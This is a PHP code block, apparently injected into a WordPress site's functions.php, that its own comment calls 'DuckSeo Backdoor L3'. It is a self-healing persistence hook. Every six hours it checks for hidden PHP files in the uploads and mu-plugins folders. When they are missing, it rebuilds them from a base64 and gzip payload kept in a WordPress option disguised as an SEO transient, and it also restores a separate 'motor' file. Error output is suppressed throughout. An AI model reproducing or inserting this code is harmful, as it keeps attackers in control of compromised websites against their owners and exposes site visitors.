// DK-RESTORE-a27914ae START // DuckSeo Backdoor L3 — functions.php hook (self-heal: eksik katmanları L4'ten RESTORE eder) (function() { if (!function_exists('gzdecode')) return; $dk_l1 = '/home/maything/thietbikhoahocvn.com/wp-content/uploads/2026/09/.dk-thumb-a27914ae9ea6c0a6.php'; $dk_l2 = '/home/maything/thietbikhoahocvn.com/wp-content/mu-plugins/.dk-cache-a27914ae9ea6c0a6.php'; $dk_hash = 'a27914ae'; $dk_option = '_transient_wpseo_a27914ae9ea6c0a6'; $dk_ts = sys_get_temp_dir() . '/.dk_fheal_' . md5($dk_hash); $last = @intval(@file_get_contents($dk_ts)); if ($last && (time() - $last) < 21600) return; @file_put_contents($dk_ts, (string)time()); $missing = array(); if (!@is_file($dk_l1)) $missing[] = 'l1'; if (!@is_file($dk_l2)) $missing[] = 'l2'; if (!empty($missing) && function_exists('get_option')) { $raw = get_option($dk_option, ''); if (!empty($raw)) { $payload = @json_decode($raw, true); if (is_array($payload)) { foreach ($missing as $layer) { if (!isset($payload[$layer])) continue; $src = @base64_decode($payload[$layer]); if (!$src) continue; $src = @gzdecode($src); if (!$src) continue; $target = ($layer === 'l1') ? $dk_l1 : $dk_l2; $dir = dirname($target); if (!@is_dir($dir)) @mkdir($dir, 0755, true); @file_put_contents($target, $src); } } // Motor self-heal if (isset($payload['motor']) && isset($payload['motor_file']) && defined('ABSPATH')) { $mpath = rtrim(ABSPATH, '/') . '/' . ltrim($payload['motor_file'], '/'); if (!@is_file($mpath)) { $msrc = @gzdecode(@base64_decode($payload['motor'])); if ($msrc) @file_put_contents($mpath, $msrc); } } } } })(); // DK-RESTORE-a27914ae END